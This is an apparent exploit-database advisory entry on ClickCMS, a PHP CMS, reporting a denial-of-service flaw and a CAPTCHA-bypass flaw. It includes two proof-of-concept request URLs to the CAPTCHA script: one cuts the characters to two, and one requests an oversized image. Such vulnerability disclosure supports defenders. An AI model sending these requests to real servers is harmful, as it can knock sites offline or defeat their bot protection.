ClickCMS - Denial of Service / CAPTCHA Bypass

Author: MustLive
type: webapps
platform: php
port: 
date_added: 2011-08-29 
date_updated: 2015-02-16 
verified: 1 
codes:  
tags: 
aliases:  
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application_url: 

source: https://www.securityfocus.com/bid/49361/info

ClickCMS is prone to a denial-of-service vulnerability and a CAPTCHA-bypass vulnerability.

Attackers can leverage these issues to cause the affected server to stop responding or to bypass certain security mechanisms.

http://www.example.com/captcha/CaptchaSecurityImages.php?width=150&height=100&characters=2
http://www.example.com/captcha/CaptchaSecurityImages.php?width=1000&height=9000